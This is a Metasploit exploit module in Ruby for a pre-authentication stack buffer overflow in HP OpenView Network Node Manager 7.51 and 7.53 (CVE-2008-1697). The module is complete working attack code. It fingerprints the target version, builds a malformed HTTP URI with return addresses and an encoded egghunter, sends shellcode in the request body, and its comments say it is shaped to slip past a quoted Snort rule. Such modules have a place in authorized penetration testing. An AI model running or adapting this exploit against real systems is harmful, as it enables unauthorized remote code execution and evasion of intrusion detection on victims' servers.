207 lines
6.1 KiB
Ruby
207 lines
6.1 KiB
Ruby
##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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=begin
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# This should bypass the following snort rule referenced from web-misc.rules (10/17/2008)
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# alert tcp $EXTERNAL_NET any -> $HOME_NET 7510 (msg:"WEB-MISC HP OpenView Network Node Manager HTTP handling buffer overflow attempt"; flow:to_server,established; content:"GET "; depth:4; nocase; isdataat:165,relative; content:"/topology/homeBaseView"; pcre:"/GET\s+\w[^\x0a\x20]{165}/i"; metadata:policy balanced-ips drop, policy security-ips drop; reference:bugtraq,28569; reference:cve,2008-1697; classtype:attempted-admin; sid:13715; rev:3;)
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# Newer versions of this rule might find this but we've taken steps to atleast bypass this rule
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=end
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = GoodRanking
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# =( need more targets and perhaps more OS specific return values OS specific would be preferred
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include Msf::Exploit::Remote::HttpClient
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'HP OpenView NNM 7.53, 7.51 OVAS.EXE Pre-Authentication Stack Buffer Overflow',
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'Description' => %q{
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This module exploits a stack buffer overflow in HP OpenView Network Node Manager versions 7.53 and earlier.
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Specifically this vulnerability is caused by a failure to properly handle user supplied input within the
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HTTP request including headers and the actual URL GET request.
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Exploitation is tricky due to character restrictions. It was necessary to utilize a egghunter shellcode
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which was alphanumeric encoded by muts in the original exploit.
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If you plan on using exploit this for a remote shell, you will likely want to migrate to a different process
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as soon as possible. Any connections get reset after a short period of time. This is probably some timeout
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handling code that causes this.
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},
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'Author' =>
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[
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'bannedit',
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# muts wrote the original exploit and did most of the initial work
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# credit where credit is due. =)
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'muts'
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],
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'Version' => '$Revision$',
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'References' =>
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[
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[ 'CVE', '2008-1697' ],
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[ 'OSVDB', '43992' ],
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[ 'BID', '28569' ],
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],
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'DefaultOptions' =>
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{
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'WfsDelay' => 45,
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'EXITFUNC' => 'thread',
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'InitialAutoRunScript' => 'migrate -f',
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},
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'Payload' =>
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{
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'Space' => 1000,
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'BadChars' => "\x0a\x0d\x00",
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'StackAdjustment' => -3500,
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},
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'Platform' => 'win',
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'Privileged' => true,
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'Targets' =>
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[
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# need more but this will likely cover most cases
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[ 'Automatic Targeting',
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{
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'auto' => true
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}
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],
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[ 'Windows 2003/zip.dll OpenView 7.53',
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{
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'Ret' => 0x6d633757 # pop pop ret
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}
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],
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[ 'Windows 2000/jvm.dll OpenView NNM 7.51',
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{
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'Ret' => 0x6d356c6e # pop pop ret
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}
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]
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],
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'DefaultTarget' => 0,
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'DisclosureDate' => 'Apr 02 2008'))
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register_options(
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[
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Opt::RPORT(7510),
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OptString.new('UserAgent', [ true, "The HTTP User-Agent sent in the request",
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'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Trident/4.0; SIMBAR={7DB0F6DE-8DE7-4841-9084-28FA914B0F2E}; SLCC1; .N' ])
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], self.class)
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end
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def exploit
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targ = target
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if (target['auto'])
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print_status("Detecting the remote version...")
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resp = send_request_raw({'uri' => '/topology/home'}, 5)
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if resp.nil?
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print_status("No response to request")
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return Exploit::CheckCode::Safe
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end
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case resp.body
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when /NNM Release B.07.53/
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targ = targets[1]
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when /NNM Release B.07.51/
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targ = targets[2]
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else
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raise RuntimeError, "Unable to determine a target automatically..."
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# if snmp is running you could set the target based on community strings
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end
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end
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print_status("Using target: #{targ.name}")
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exploit_target(targ)
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end
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def exploit_target(targ)
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# we have to use an egghunter in this case because of the restrictions
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# on the characters we can use.
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# we are using skape's egghunter alpha numeric encoded by muts
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egghunter =
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'%JMNU%521*TX-1MUU-1KUU-5QUUP\AA%J'+
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'MNU%521*-!UUU-!TUU-IoUmPAA%JMNU%5'+
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'21*-q!au-q!au-oGSePAA%JMNU%521*-D'+
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'A~X-D4~X-H3xTPAA%JMNU%521*-qz1E-1'+
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'z1E-oRHEPAA%JMNU%521*-3s1--331--^'+
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'TC1PAA%JMNU%521*-E1wE-E1GE-tEtFPA'+
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'A%JMNU%521*-R222-1111-nZJ2PAA%JMN'+
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'U%521*-1-wD-1-wD-8$GwP'
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print_status("Constructing the malformed http request")
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buf = "http://"
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buf << "\xeb" * 1101 # this gets mangled in such a way we can use less input
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buf << "\x41" * 4 # sometimes less really is more
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buf << "\x77\x21" # \xeb is restricted so we use a conditional jump which is always taken
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buf << [targ.ret].pack('V')
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buf << "G" * 32
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buf << egghunter
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buf << "\x41" * 100
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buf << ":#{datastore['RPORT']}"
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# T00W is the egg
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payload_buf = "T00WT00W" + make_nops(34) + "\x83\xc4\x03" + payload.encoded
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begin
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connect
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resp = send_request_raw({
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'uri' => buf + "/topology/home",
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'version' => '1.1',
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'method' => 'GET',
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'headers' =>
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{
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'Content-Type' => 'application/x-www-form-urlencoded',
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'User-Agent' => datastore['UserAgent'],
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},
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'data' => payload_buf
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})
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rescue ::Rex::ConnectionError, ::Errno::ECONNRESET, ::Errno::EINTR
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# do nothing let the exploit live this catches the
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# connection reset by peer error which is expected
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end
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if not resp.nil?
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raise RuntimeError, "The server responded, that wasn't supposed to happen!"
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end
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print_status("Malformed http request sent.")
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print_status("Now we wait for the egg hunter to work it's magic. thx skape!")
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handler
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disconnect
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end
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def check
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resp = send_request_raw({'uri' => '/topology/home'}, 5)
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if resp.nil?
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print_status("No response to request")
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return Exploit::CheckCode::Safe
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end
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if (resp.body =~ /NNM Release B.07.53/ || resp.body =~ /NNM Release B.07.52/ || resp.body =~ /NNM Release B.07.51/)
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return Exploit::CheckCode::Appears
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end
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return Exploit::CheckCode::Safe
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end
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end
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